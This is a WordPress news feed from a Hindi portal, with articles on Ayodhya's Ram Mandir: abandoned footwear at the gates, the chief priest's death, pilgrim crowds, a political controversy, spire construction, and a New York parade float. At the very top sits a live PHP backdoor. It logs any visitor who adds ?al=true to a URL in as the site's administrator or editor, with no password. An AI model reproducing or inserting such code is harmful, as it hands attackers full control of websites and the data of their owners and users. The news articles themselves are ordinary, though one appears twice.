// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Ram Mandir – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 03 Mar 2025 08:05:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 राम मंदिर के मुख्यद्वार पर लाखों जूते-चप्पल का लगा अंबार, वापस लेने नहीं आ रहे लोग https://pratyushaashakinayikiran.com/?p=135328 Mon, 03 Mar 2025 08:05:00 +0000 https://pratyushaashakinayikiran.com/?p=135328 अयोध्या

 राम मंदिर के प्रवेश मार्ग के पास करीब एक माह से रोजाना बड़ी संख्या में लावारिस जूते-चप्पलें जमा हो रहे हैं। नगर निगम अब तक 20 ट्रॉली जूते-चप्पलें यहां से हटवा चुका है। ये लावारिस जूते-चप्पलें अयोध्या व अयोध्या कैंट में बने नगर निगम के रिड्यूज, रिसाइकल, रियूज (RRR) सेंटर पर डंप जा रहे हैं।

असल में महाकुंभ शुरू होने के बाद से प्रयागराज पहुंचने वाले श्रदालु स्नान के बाद बालकराम के दर्शन करने के लिए अयोध्या का रुख कर रहे हैं। मंदिर ट्रस्ट के ट्रस्टी डॉ. अनिल मिश्र के मुताबिक श्रद्धालुओं की अप्रत्‍याशित भीड़ को सुलभ दर्शन हो सकें व अफरातफरी न हो इसके लिए पिछले 30 दिन से व्यवस्था में यह बदलाव किया गया है। मंदिर परिसर का गेट नंबर-3 खोला गया है।

बालकराम के दर्शन के बाद श्रद्धालुओं को इसी गेट से बाहर निकाला जा रहा है। दर्शन के बाद श्रद्धालु श्रीराम हास्पिटल के आगे निकलते हैं। रामपथ पर वन-वे ट्रैक होने के कारण श्रद्धालुओ को पुन: 5-6 किमी पैदल चलने के बाद उतारे गए जूता स्‍थल पर आना पड़ता है। इतनी लंबी दूरी के कारण बाहर से आने वाले ज्यादातर लोग जूते-चप्पलें लेने नहीं लौट रहे हैं।

भीड़ को नियंत्रित करने के लिए व्यवस्था में बदलाव

दरअसल, अयोध्या में भक्तों की उमड़ी भीड़ को नियंत्रित करने के लिए व्यवस्थागत बदलाव के चलते राम मंदिर के प्रवेश द्वार के पास करीब एक महीने से रोजाना बड़ी संख्या में लावारिस जूते-चप्पल एकत्र हो रहे हैं। नगर निगम पहले ही वहां से बड़ी संख्या में जूते-चप्पल हटा चुका है। ये जूते-चप्पल तीर्थयात्रियों के हैं, जिन्होंने इन्हें राम पथ पर स्थित मुख्य प्रवेश द्वार गेट संख्या एक पर उतार दिया था।
जूते-चप्पल वापस लेने के लिए तय करनी पड़ती है लंबी दूरी

शुरुआत में, लगभग आधा किलोमीटर का गोलाकार मार्ग पूरा करने के बाद, तीर्थयात्री उसी द्वार (गेट संख्या एक) से बाहर निकलते थे और अपने जूते-चप्पल लेते थे। हालांकि, बढ़ती भीड़ के कारण, अयोध्या प्रशासन ने गेट संख्या तीन और अतिरिक्त द्वारों के माध्यम से निकास को पुनर्निर्देशित किया। इससे प्रवेश बिंदु से अपने जूते-चप्पल वापस पाने के लिए तीर्थयात्रियों को पांच से छह किलोमीटर की यात्रा करनी पड़ती, जिस कारण वे अपने जूते-चप्पल छोड़ दे रहे हैं और नंगे पैर अपने वाहनों या आवास की ओर जा रहे हैं।
महाकुंभ की शुरुआत से ही अयोध्या में श्रद्धालुओं की संख्या बढ़ी

श्री राम जन्मभूमि तीर्थ क्षेत्र ट्रस्ट के सदस्य अनिल मिश्रा ने बताया कि महाकुंभ की शुरुआत से ही बड़ी संख्या में श्रद्धालु अयोध्या पहुंच रहे हैं। मिश्रा ने कहा, "पिछले 30 दिन से व्यवस्थाओं में बदलाव किए गए हैं, ताकि यह सुनिश्चित किया जा सके कि भक्तों की अप्रत्याशित भीड़ को बिना किसी अव्यवस्था के आसानी से दर्शन मिल सके।"
रोजाना लाखों की संख्या में लावारिस जूते-चप्पल हटा रहा नगर निगम

उन्होंने कहा, "मंदिर परिसर का गेट संख्या तीन खोल दिया गया है। दर्शन के बाद भक्तों को इस गेट से बाहर निकाला जा रहा है। इसलिए भक्त श्रीराम सरकारी अस्पताल से आगे बढ़ते हैं। रामपथ पर एक-तरफा मार्ग होने के कारण, भक्तों को जूता उतारने वाले क्षेत्र तक पहुंचने के लिए फिर से पांच-छह किलोमीटर चलना पड़ता है।" निगम के अधिकारियों ने बताया कि नगर निगम रोजाना लाखों की संख्या में लावारिस जूते-चप्पल हटा रहा है, उन्हें जेसीबी मशीनों का उपयोग करके इकट्ठा कर रहा है और ट्रॉलियों पर लाद रहा है।

 

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राम मंदिर के मुख्यद्वार पर लाखों जूते-चप्पल का लगा अंबार, वापस लेने नहीं आ रहे लोग https://pratyushaashakinayikiran.com/?p=135330 Mon, 03 Mar 2025 08:05:00 +0000 https://pratyushaashakinayikiran.com/?p=135330 अयोध्या

 राम मंदिर के प्रवेश मार्ग के पास करीब एक माह से रोजाना बड़ी संख्या में लावारिस जूते-चप्पलें जमा हो रहे हैं। नगर निगम अब तक 20 ट्रॉली जूते-चप्पलें यहां से हटवा चुका है। ये लावारिस जूते-चप्पलें अयोध्या व अयोध्या कैंट में बने नगर निगम के रिड्यूज, रिसाइकल, रियूज (RRR) सेंटर पर डंप जा रहे हैं।

असल में महाकुंभ शुरू होने के बाद से प्रयागराज पहुंचने वाले श्रदालु स्नान के बाद बालकराम के दर्शन करने के लिए अयोध्या का रुख कर रहे हैं। मंदिर ट्रस्ट के ट्रस्टी डॉ. अनिल मिश्र के मुताबिक श्रद्धालुओं की अप्रत्‍याशित भीड़ को सुलभ दर्शन हो सकें व अफरातफरी न हो इसके लिए पिछले 30 दिन से व्यवस्था में यह बदलाव किया गया है। मंदिर परिसर का गेट नंबर-3 खोला गया है।

बालकराम के दर्शन के बाद श्रद्धालुओं को इसी गेट से बाहर निकाला जा रहा है। दर्शन के बाद श्रद्धालु श्रीराम हास्पिटल के आगे निकलते हैं। रामपथ पर वन-वे ट्रैक होने के कारण श्रद्धालुओ को पुन: 5-6 किमी पैदल चलने के बाद उतारे गए जूता स्‍थल पर आना पड़ता है। इतनी लंबी दूरी के कारण बाहर से आने वाले ज्यादातर लोग जूते-चप्पलें लेने नहीं लौट रहे हैं।

भीड़ को नियंत्रित करने के लिए व्यवस्था में बदलाव

दरअसल, अयोध्या में भक्तों की उमड़ी भीड़ को नियंत्रित करने के लिए व्यवस्थागत बदलाव के चलते राम मंदिर के प्रवेश द्वार के पास करीब एक महीने से रोजाना बड़ी संख्या में लावारिस जूते-चप्पल एकत्र हो रहे हैं। नगर निगम पहले ही वहां से बड़ी संख्या में जूते-चप्पल हटा चुका है। ये जूते-चप्पल तीर्थयात्रियों के हैं, जिन्होंने इन्हें राम पथ पर स्थित मुख्य प्रवेश द्वार गेट संख्या एक पर उतार दिया था।
जूते-चप्पल वापस लेने के लिए तय करनी पड़ती है लंबी दूरी

शुरुआत में, लगभग आधा किलोमीटर का गोलाकार मार्ग पूरा करने के बाद, तीर्थयात्री उसी द्वार (गेट संख्या एक) से बाहर निकलते थे और अपने जूते-चप्पल लेते थे। हालांकि, बढ़ती भीड़ के कारण, अयोध्या प्रशासन ने गेट संख्या तीन और अतिरिक्त द्वारों के माध्यम से निकास को पुनर्निर्देशित किया। इससे प्रवेश बिंदु से अपने जूते-चप्पल वापस पाने के लिए तीर्थयात्रियों को पांच से छह किलोमीटर की यात्रा करनी पड़ती, जिस कारण वे अपने जूते-चप्पल छोड़ दे रहे हैं और नंगे पैर अपने वाहनों या आवास की ओर जा रहे हैं।
महाकुंभ की शुरुआत से ही अयोध्या में श्रद्धालुओं की संख्या बढ़ी

श्री राम जन्मभूमि तीर्थ क्षेत्र ट्रस्ट के सदस्य अनिल मिश्रा ने बताया कि महाकुंभ की शुरुआत से ही बड़ी संख्या में श्रद्धालु अयोध्या पहुंच रहे हैं। मिश्रा ने कहा, "पिछले 30 दिन से व्यवस्थाओं में बदलाव किए गए हैं, ताकि यह सुनिश्चित किया जा सके कि भक्तों की अप्रत्याशित भीड़ को बिना किसी अव्यवस्था के आसानी से दर्शन मिल सके।"
रोजाना लाखों की संख्या में लावारिस जूते-चप्पल हटा रहा नगर निगम

उन्होंने कहा, "मंदिर परिसर का गेट संख्या तीन खोल दिया गया है। दर्शन के बाद भक्तों को इस गेट से बाहर निकाला जा रहा है। इसलिए भक्त श्रीराम सरकारी अस्पताल से आगे बढ़ते हैं। रामपथ पर एक-तरफा मार्ग होने के कारण, भक्तों को जूता उतारने वाले क्षेत्र तक पहुंचने के लिए फिर से पांच-छह किलोमीटर चलना पड़ता है।" निगम के अधिकारियों ने बताया कि नगर निगम रोजाना लाखों की संख्या में लावारिस जूते-चप्पल हटा रहा है, उन्हें जेसीबी मशीनों का उपयोग करके इकट्ठा कर रहा है और ट्रॉलियों पर लाद रहा है।

 

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राम मंदिर के मुख्य पुजारी सत्येंद्र दास का निधन, लखनऊ PGI में ली अंतिम सांस https://pratyushaashakinayikiran.com/?p=130949 Wed, 12 Feb 2025 06:46:00 +0000 https://pratyushaashakinayikiran.com/?p=130949   अयोध्‍या
अयोध्‍या में श्रीराम मंदिर के मुख्‍य पुजारी आचार्य सत्‍येंद्र दास का निधन हो गया है। 85 वर्ष की उम्र में पीजीआई लखनऊ में बुधवार को उन्‍होंने अंतिम सांस ली। उन्हें गंभीर हालत में स्ट्रोक के कारण तीन फरवरी को पीजीआई के न्यूरोलॉजी वार्ड के एचडीयू में भर्ती कराया गया था। मुख्यमंत्री योगी आदित्यनाथ ने भी कुछ दिन पहले पहुंचकर उनका कुशलक्षेम पूछा था। पीजीआई निदेशक डाॅक्टर आरके धीमान के मुताबिक डॉक्‍टरों की निगरानी में लगातार उनका इलाज चल रहा था। सीएम योगी आदित्‍यनाथ ने आचार्य सत्‍येंद्र दास के निधन पर दुख जताया है।

सोशल मीडिया प्‍लेटफार्म 'एक्‍स' पर सीएम योगी ने अपने शोक संदेश में लिखा- ‘परम रामभक्त, श्री राम जन्मभूमि मंदिर, श्री अयोध्या धाम के मुख्य पुजारी आचार्य श्री सत्येन्द्र कुमार दास जी महाराज का निधन अत्यंत दुःखद एवं आध्यात्मिक जगत की अपूरणीय क्षति है। विनम्र श्रद्धांजलि! प्रभु श्री राम से प्रार्थना है कि दिवंगत पुण्यात्मा को अपने श्री चरणों में स्थान दे तथा शोक संतप्त शिष्यों एवं अनुयायियों को यह अथाह दुःख सहन करने की शक्ति प्रदान करें। ॐ शांति!’ आचार्य सत्‍येंद्र दास ने अपना पूजा जीवन रामलला की सेवा में समर्पित कर दिया था। अयोध्‍या में जन्‍मभूमि पर रामलला जब टेंट में थे तब से आचार्य सत्‍येंद्र दास उनकी सेवा में थे।

अस्‍पताल की ओर से मिली जानकारी के अनुसार आचार्य सत्‍येंद्र दास ने आज यानी बुधवार को अंतिम सांस ली। वह पीजीआई के न्‍यूरोलॉजी वार्ड एचडीयू में भर्ती थे। एसजीपीजीआई ने एक बयान में कहा कि ‘श्री सत्येंद्र दास जी को स्ट्रोक हुआ है. उन्हें मधुमेह और उच्च रक्तचाप है और वे फिलहाल न्यूरोलॉजी आईसीयू में भर्ती थे पीजीआई प्रशासन के अधिकारी PRO ने बताया कि सुबह उन्होंने पीजीआई में अंतिम सांस ली।

आचार्य सत्‍येंद्र दास रामजन्‍मभूमि आंदोलन से भी जुड़े रहे। राममंदिर के पक्ष में सुप्रीम कोर्ट का फैसला आने और उसके बाद राममंदिर निर्माण और प्राण प्रतिष्‍ठा तक आचार्य सत्‍येंद्र दास हर मौके पर महत्‍वपूर्ण भूमिका में नजर आए। राममंदिर प्राण प्रतिष्‍ठा के समय तबीयत खराब होने के बावजूद उन्‍होंने समारोह में न सिर्फ मार्गदर्शन किया बल्कि पूरी भागीदारी भी निभाई। आचार्य सत्‍येंद्र दास के निधन से उनके शिष्‍यों के बीच शोक की लहर है। आचार्य सत्‍येंद्र दास के एक शिष्‍य ने बताया कि उनका पार्थिव शरीर पीजीआई लखनऊ से अयोध्‍या लाया जा रहा है। अयोध्‍या में कल यानी 13 फरवरी को सरयू तट पर उनका अंतिम संस्‍कार होगा।

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राम मंदिर में दर्शन के लिए उमड़ी श्रद्धालु कीअटूट भीड़, दीपोत्सव के बाद 5 लाख से ज्यादा लोग पहुंचे https://pratyushaashakinayikiran.com/?p=95197 Thu, 07 Nov 2024 16:08:00 +0000 https://pratyushaashakinayikiran.com/?p=95197 अयोध्या
 भगवान राम की पावन नगरी अयोध्या में श्रद्धालुओं का आगमन दिन-प्रतिदिन बढ़ता ही जा रहा है। भगवान राम के दर्शन के लिए आस्था का जन सैलाब उमड़ रहा है। अयोध्या में ऐतिहासिक दीपोत्सव के बाद से प्रतिदिन एक लाख से ज्याजा श्रद्धालु अयोध्या आ रहे हैं और भगवान राम के सामने शीश नवाते हैं। मंदिर की गणना के अनुसार दिवाली के एक दिन बाद अन्नकूट से 5 नवंबर तक लगभग पांच लाख श्रद्धालुओं ने भगवान राम के दर्शन पूजन किए।

अयोध्या के भव्य मंदिर में प्रभु राम के विराजमान होने के बाद पहली दिवाली धूमधाम के साथ मनाई गई। इस दौरान काफी संख्या में श्रद्धालु रामलला के दर्शन करने अयोध्या पहुंचे। दिवाली के तीन दिन बाद भी भीड़ कम नहीं हुई। दूर-दराज से बड़ी संख्या में श्रद्धालुओं के आने की वजह से पुलिसकर्मियों को भी कड़ा परिश्रम करना पड़ा और जन्मभूमि पथ पर थोड़ी-थोड़ी देर में उन्हें रोकना पड़ा रहा है।

राम मंदिर ट्रस्ट ने कहा- श्रद्धालुओं की संख्या बढ़ेगी

आंकड़ों के मुताबिक पिछले सप्ताह भर में लगभग 5 लाख से ज्यादा रामभक्तों ने प्रभु राम के दरबार में हाजिरी लगाई है। इसके अलावा 4 हजार से अधिक विशिष्ट जन भी राम मंदिर में दर्शन के लिए पहुंचे।

श्री राम जन्मभूमि तीर्थक्षेत्र ट्रस्ट के सदस्य गोपाल ने बताया कि अयोध्या में दीपोत्सव के बाद से लगातार श्रद्धालुओं में इजाफा हो रहा है। आने वाले दिनों में श्रद्धालुओं की संख्या में और इजाफा होने की संभावना है।

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कांग्रेस नेता उदित राज ने कही ‘राम मंदिर पर बुलडोजर’ वाली बात, भड़क उठे लोग https://pratyushaashakinayikiran.com/?p=71350 Mon, 16 Sep 2024 16:26:00 +0000 https://pratyushaashakinayikiran.com/?p=71350 नई दिल्ली

दिल्ली के पूर्व सांसद और कांग्रेस के दलित नेता उदित राज ने 'राम मंदिर पर बुलडोजर' वाली बात कहकर एक बार फिर विवाद को जन्म दे दिया है। अयोध्या में एक लड़की के साथ गैंगरेप की घटना को लेकर उन्होंने यह टिप्पणी की है। दावा किया कि वह लड़की राम मंदिर में सफाई कर्मचारी है। हालांकि, अयोध्या पुलिस का कहना है कि घटना को गलत तरीके से पेश किया जा रहा है। उदित राज के पोस्ट पर कई लोगों ने आपत्ति जाहिर की।

पूर्व सांसद उदित राज ने एक्स पर लिखा, 'अयोध्या में राम मंदिर में सफाईकर्मी के रूप में काम करने वाली युवती के साथ सामूहिक दुष्कर्म किया। क्या राम मंदिर पर भी बुलडोजर चलेगा?' कांग्रेस नेता के इस बयान पर सोशल मीडिया यूजर्स भड़क उठे और अयोध्या पुलिस से ऐक्शन लेने की मांग की। एक यूजर ने अयोध्या पुलिस को टैग करते हुए, 'यह व्यक्ति फेक न्यूज फैला कर जानता कि भावना भड़काने और माहौल बिगाड़ने का प्रयत्न कर रहा है। कृपया संज्ञान लेकर उचित कार्यवाही करें।'

2024 लोकसभा चुनाव में उत्तर-पश्चिम सीट से कांग्रेस के टिकट पर चुनाव लड़कर हारे उदित राज को कई सोशल मीडिया यूजर्स ने अयोध्या पुलिस का बयान दिखाते हुए कहा कि वह फेक न्यूज फैला रहे हैं। कई लोगों ने यह भी कहा कि यह घटना राम मंदिर से करीब 20 किलोमीटर दूर की है और कुछ परिचितों ने अंजाम दिया है। इसमें राम मंदिर को क्यों जोड़ा जा रहा है?

अयोध्या पुलिस ने क्या कहा?

अयोध्या पुलिस ने रविवार को एक बयान जारी करके कहा कि सोशल मीडिया पर कैंट थाने के तहत दुष्कर्म की घटना के संबंध में भ्रामक खबरें प्रसारित की जा रही हैं। अयोध्या पुलिस इसका खंडन करती है। पुलिस के मुताबिक पीड़िता ने मजिस्ट्रेट के सामने जो बयान दिया उससे सामने आया कि वह अपने पूर्व परिचित मित्र से मिलने के लिए अलग-अलग तारीखों पर गई थी। तब उसके साथियों ने उसके साथ दुराचार किया। 2 सितंबर को केस दर्ज किया गया। घटना में दो नाबालिग समेत 6 आरोपी हैं। पुलिस ने शारिक और दो किशोर को रेप के आरोप में और विनय पासी, शिवा सोनकर, उदित सिंह, सत्यम को शील भंग के आरोप में गिरफ्तार कर न्यायिक हिरासत में भेजा जा चुका है।

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अयोध्या अक्टूबर में शुरू होगा राम मंदिर के शिखर का निर्माण, डिजाइन फाइनल https://pratyushaashakinayikiran.com/?p=70335 Sat, 14 Sep 2024 09:26:00 +0000 https://pratyushaashakinayikiran.com/?p=70335 अयोध्या

अयोध्या में राम मंदिर के शिखर का निर्माण कार्य अक्टूबर में शुरू हो जाएगा. इसके साथ ही प्रथम तल पर प्रस्तावित राम दरबार के निर्माण को लेकर भी तैयारी पूरी कर ली गई है. जल्द ही राम मंदिर में लोग राम दरबार के दर्शन कर पाएंगे. श्रीराम मंदिर निर्माण समिति की दो दिवसीय बैठक के पहले दिन इन दोनों ही बातों पर मंथन किया गया.

बता दें कि अयोध्या में राम मंदिर पूरा करने के लिए तेज़ी से कम चल रहा है. हालांकि, मंदिर निर्माण में प्रस्तावित समय से करीब दो महीने का समय अधिक लगेगा. राम मंदिर निर्माण समिति की समीक्षा बैठक में तमाम विषयों पर मंथन किया गया.

मंदिर निर्माण समिति के अध्यक्ष नृपेंद्र मिश्र और श्रीराम मंदिर ट्रस्ट के महासचिव चंपत राय के साथ तकनीकी विशेषज्ञों की बैठक में निर्माण संबंधी सभी पहलुओं पर चर्चा की गई. बैठक में इस बात पर भी चर्चा हुई कि मंदिर के शिखर का निर्माण कार्य अक्टूबर में शुरू होगा. निर्माण शुरू होते समय मंदिर निर्माण की सभी एजेंसियों के विशेषज्ञ मौजूद रहेंगे.

अयोध्या में नागर शैली के मंदिर का निर्माण हो रहा है, इसलिए इसका शिखर भी नागर शैली का होगा. विशिष्ट डिज़ाइन (पिरामिड के आकार) तैयार किया जा रहा है. अक्टूबर में निर्माण शुरू होते समय आईआईटी के विशेषज्ञ, सेंट्रल बिल्डिंग रिसर्च इंस्टिट्यूट के वैज्ञानिक, रुड़की (CBRI) के विशेषज्ञ, निर्माण एजेंसी लार्सन एंड टुब्रो के विशेषज्ञ और राष्ट्रीय भू-भौतिकीय अनुसंधान संस्थान (NGRI) के विशेषज्ञ मौजूद रहेंगे. साथ ही राम मंदिर निर्माण समिति के सदस्य भी मौजूद होंगे.

किसी भी मंदिर में शिखर का निर्माण तकनीकी रूप से सबसे मुश्किल होता है. राम मंदिर के निर्माण की विशेषताओं को ध्यान रखते हुए शिखर का निर्माण किया जाएगा. इसके लिए इसकी मज़बूती और ख़ूबसूरती दोनों का ध्यान रखा जाएगा.

होली से पहले बन जाएगा राम दरबार

राम मंदिर आने वालों को जल्द ही राम दरबार के भी दर्शन होंगे. अगले साल होली से पहले प्रथम तल पर राम दरबार की स्थापना हो जाएगी. बैठक में इसको लेकर भी चर्चा हुई.

राम मंदिर निर्माण समिति के अध्यक्ष नृपेंद्र मिश्र ने जानकारी दी है कि राम दरबार की डिज़ाइन का काम पूरा हो चुका है. राम दरबार संगमरमर का होगा. राम दरबार अपने पूर्ण रूप में होगा जिसमें राम, सीता, तीनों भाई और हनुमान जी की मूर्ति होगी. मूर्तिकार वासुदेव कामथ ने इसकी डिज़ाइन को अप्रूव कर दिया है, अगले साल होली से पहले राम दरबार स्थापित हो जाएगा.

हालांकि, मंदिर के पूरे भवन के निर्माण का काम पूरा होने में तय समय से दो महीने का समय ज़्यादा लगेगा. मंदिर के परकोटे और सप्त मंडप का काम भी साथ में चल रहा है. मुख्य भवन के अलावा लैंडस्केपिंग का काम भी किया जा रहा है. ग्राउंड फ्लोर का निर्माण पूरा हो गया है, साथ ही प्रथम तल का निर्माण पूरा क़रीब 90 प्रतिशत पूरा हो गया है.

 

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न्यूयॉर्क में निकली भव्य ‘इंडिया डे परेड’ शामिल हुई राम मंदिर की झांकी https://pratyushaashakinayikiran.com/?p=62102 Mon, 19 Aug 2024 20:45:00 +0000 https://pratyushaashakinayikiran.com/?p=62102 न्यूयॉर्क
 अमेरिका में रहने वाले प्रवासी भारतीयों ने रविवार को भारत की आजादी के सम्मान का जश्न धूमधाम से मनाया। न्यूयॉर्क में इस मौके पर 42वीं इंडिया डे परेड का आयोजन किया गया, लेकिन इसी समारोह में निकाली गई एक झांकी को लेकर विवाद हो गया। भारतीय अमेरिकी मुसलमानों ने इस झांकी को मुस्लिम विरोधी बताया और इसे हटाने की मांग की। हालांकि, आयोजकों ने इस मांग को खारिज कर दिया और  इस झांकी को भव्य तरीके से परेड में शामिल किया गया। ये झांकी है अयोध्या के राम मंदिर की, जिसका इसी साल जनवरी में एक भव्य समारोह में उद्घाटन किया गया था।

मुस्लिमों ने किया विरोध

राम मंदिर की झांकी को शामिल किए जाने के विरोध में भारतीय अमेरिकी मुसलमानों का प्रतिनिधित्व करने वाले एक समूह ने इंडिया डे परेड से अपनी झांकी वापस ले ली थी। इंडियन मुस्लिम्स ऑफ नॉर्थ अमेरिका के अध्यक्ष इम्तियाज सियामवाला ने शनिवार को परेड आयोजकों को एक पत्र भेजकर इसकी जानकारी दी। समूह ने लिखा, 'हमें भारी मन से अपनी झांकी वापस लेने पर मजबूर होना पड़ रहा है, क्योंकि परेड की अखंडता पर सवाल उठ रहे हैं।'

सियामवाला ने अमेरिकी न्यूज नेटवर्क सीएनएन को बताया कि उनक संगठन ने आयोजकों को विवादास्पद झांकी को शामिल न करने के लिए मनाने की कोशिश की थी, लेकिन विफल रहे। इसके बाद भागीदारी रद्द करने का फैसला लिया गया। उन्होंने कहा, 'हम भाग लेने चाहते थे, लेकिन जब हमें पता चला कि राम मंदिर की प्रतिकृति वाली झांकी होने जा रही है, तो हमें लगा कि यह मुसलमानों के खिलाफ पक्षपात का प्रतीक है।'

भव्य परेड का आयोजन

झांकी को लेकर उठे विवाद के बीच रविवार को भव्य परेड आयोजित की गई। जब यह मैडिसन एवेन्यू से गुजरी तो न्यूयॉर्क की सड़कें भारत के रंगों से गुलजार हो उठीं। हजारों लोग अपनी विरासत का जश्न मनाने के लिए एकत्र हुए। भारत की संस्कृति और इतिहास का जश्न मनाने वाली परेड ने प्रवासी भारतीयों और उनकी जड़ों के बीच गहरे संबंध को दिखाया। राम मंदिर की झांकी के लिए 18 फीट लंबी, 9 फीट चौड़ी और 8 फीट ऊंची लकड़ी की नाव को तैयार किया गया था। इसे भारत में बनाया गया ता और परेड के लिए हवाई मालवाहक जहाज के जरिए भेजा गया था। नाव में अयोध्या में भगवान राम के लिए बनाए गए भव्य गुलाबी बलुआ पत्थर के राम मंदिर को दिखाया गया था।

राम मंदिर को फूलों से सजाया गया था। प्राण प्रतिष्ठा के दौरान प्रधानमंत्री नरेंद्र मोदी के हाथों अनावरण की गई राम लगा की मूर्ति की प्रतिकृति भी नाव पर रखी गई थी। फेडरेशन ऑफ इंडियन एसोसिएशन के अनुसार, परेड में 40 से अधिक झांकियां, 50 मार्चिंग ग्रुप और 30 मार्चिंग बैंड शामिल थे। इंडिया डे परेड में सांसद मनोज तिवारी, बॉलीवुड अभिनेत्री सोनाक्षी सिन्हा और अभिनेता पंकज त्रिपाठी जैसी हस्तियां भी शामिल थे।

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अमेरिका में भी राम मंदिर की धूम, परेड में दिखेगी झलक; FIA कर रहा है आयोजन https://pratyushaashakinayikiran.com/?p=47715 Wed, 03 Jul 2024 14:16:00 +0000 https://pratyushaashakinayikiran.com/?p=47715 न्यूयार्क
राम मंदिर की झलक अमेरिका में भी देखने को मिलेगी।  न्यूयॉर्क में ‘भारत दिवस’ के मौके पर 18 अगस्त को होने वाली परेड में राम मंदिर की प्रतिकृति प्रदर्शित की जाएगी। इस आयोजन में न्यूयॉर्क और उसके आसपास से हजारों भारतीय अमेरिकी शामिल होंगे। विश्व हिन्दू परिषद अमेरिका (विहिप) के महासचिव अमिताभ मित्तल के अनुसाऱ मंदिर की प्रतिकृति 18 फुट लंबी, नौ फुट चौड़ी और आठ फुट ऊंची होगी। यह पहली बार होगा जब राम मंदिर की प्रतिकृति अमेरिका में प्रदर्शित की जाएगी।

न्यूयॉर्क में हर वर्ष ‘भारत दिवस’ पर होने वाली यह परेड भारत के बाहर स्वतंत्रता दिवस के उपलक्ष्य पर सबसे बड़ा आयोजन है। यह परेड हर साल मिडटाउन न्यूयॉर्क में ‘ईस्ट 38 स्ट्रीट’ से ‘ईस्ट 27 स्ट्रीट’ तक निकाली जाती है जिसे 1,50,000 से अधिक लोग देखने आते हैं।

‘फेडरेशन ऑफ इंडियन एसोसिएशन’ (एफआईए) द्वारा आयोजित की जाने वाली इस परेड में विभिन्न भारतीय अमेरिकी समुदायों और उनकी संस्कृति की विविधता का प्रतिनिधित्व करने वाली ढेर सारी झांकियां न्यूयॉर्क की सड़कों पर देखने को मिलेंगी।

विहिप-अमेरिका ने हाल में राम मंदिर रथ यात्रा का आयोजन किया था जिसने 60 दिन में 48 राज्यों के 851 मंदिरों को कवर किया था।

 

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